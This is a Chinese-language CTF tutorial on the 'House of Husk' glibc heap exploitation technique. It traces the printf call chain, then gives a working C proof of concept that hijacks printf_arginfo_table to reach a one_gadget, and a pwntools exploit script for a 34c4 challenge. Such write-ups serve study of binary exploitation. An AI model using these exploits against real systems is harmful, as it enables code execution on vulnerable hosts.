house of husk
house of husk
适用版本:2.27到2.35
攻击效果:执行一次call
利用前提:能够修改printf_function_table和printf_arginfo_table
漏洞原理
漏洞背景:在printf函数中我们可以自定义格式化字符串来进行输出
漏洞触发:在vfprintf 函数中会对printf_function_table进行一个if判断,如果不为空进入printf_positional,在printf_positional会调用__parse_one_specmb,在这个函数中下面这个指令
*__printf_arginfo_table[spec->info.spec]
__printf_function_table:可以简单理解为一个标志位,用来判断是否有自定义的转化说明符
__printf_arginfo_table:用于存放自定义转换说明符对应函数的指针的表头地址 ,再通过加上偏移进行查找
调用链
printf
	vfprintf
		printf_positional
			__parse_one_specmb
				(*__printf_arginfo_table[spec->info.spec])
调用链中的检查
vfprintf
if (__glibc_unlikely (__printf_function_table != NULL  
			|| __printf_modifier_table != NULL  有时候还需要自己看一下这个位置是否通过
			|| __printf_va_arg_table != NULL))
    goto do_positional;  //进入printf_positional
__parse_one_specmb
if (__builtin_expect (__printf_function_table == NULL, 1)
    || spec->info.spec > UCHAR_MAX
    || __printf_arginfo_table[spec->info.spec] == NULL
    || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
		   (&spec->info, 1, &spec->data_arg_type,
		    &spec->size)) < 0)
poc
poc和例题链接https://github.com/xmzyshypnc/xz_files/tree/master/34c4_readme_revenge
/*
 * This is a Proof-of-Concept for House of Husk
 * This PoC is supposed to be run with libc-2.27.
 gcc poc.c -o poc -no-pie -g
 */
#include <stdio.h>
#include <stdlib.h>
#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA       0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST  0x3ed940
#define PRINTF_FUNCTABLE 0x3f0738
#define PRINTF_ARGINFO   0x3ec870
#define ONE_GADGET       0x10a2fc
int main (void)
{
  unsigned long libc_base;
  char *a[10];
  setbuf(stdout, NULL); // make printf quiet
  /* leak libc */
  a[0] = malloc(0x500); /* UAF chunk */
  a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
  a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
  a[3] = malloc(0x500); /* avoid consolidation */
  free(a[0]);
  libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
  printf("libc @ 0x%lx\n", libc_base);
  /* prepare fake printf arginfo table */
  *(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
    //now __printf_arginfo_table['X'] = one_gadget;
    //*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
  /* unsorted bin attack */
  *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
  a[0] = malloc(0x500); /* overwrite global_max_fast */
  /* overwrite __printf_arginfo_table and __printf_function_table */
  free(a[1]);// __printf_function_table => a heap_addr which is not NULL
  free(a[2]);// => one_gadget
  /* ignite! */
  printf("%X", 0);
  
  return 0;
}
调试



例题
保护策略
没有开pie,是一个静态文件

程序分析
有一个scanf输入到bss段,还有一个printf打印
漏洞利用
在程序内可以找到flag的地址,
我们输入的bss地址在printf_function_table、printf_arginfo_table上面
利用过程:
1、利用溢出修改printf_function_table、printf_arginfo_table这两个表
2、计算地址执行 _fortify_fail(地址在0x4359b0),并控制第一个参数是放有flag地址的地址
主函数
 
_fortify_fail
 
 
exp
from tools import*
p=process('./a')
context(os='linux', arch='amd64', log_level='debug')
debug(p,0x4359e0)
flag=0x6B4040
leak_flag=0x4359B0
libc_argv=0x6b7980
printf_function_table=0x6b7a28
printf_arginfo_table=0x6b7aa8
payload=p64(flag)
payload+=b'a'*0x598
payload+=p64(0x6B73E0)
payload+=b'a'*(0x640-0x5a8)
payload+=p64(0xdeadbeef)
payload+=p64(0xdeadbeef) #__printf_function_table
payload+=p64(0)
payload+=b'a'*0x70
payload+=p64(0x6b7aa8) #__printf_arginfo_table
payload+=p64(0xdeadbeef)*0x72
payload+=p64(leak_flag)
p.sendline(payload)
p.interactive()
#

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号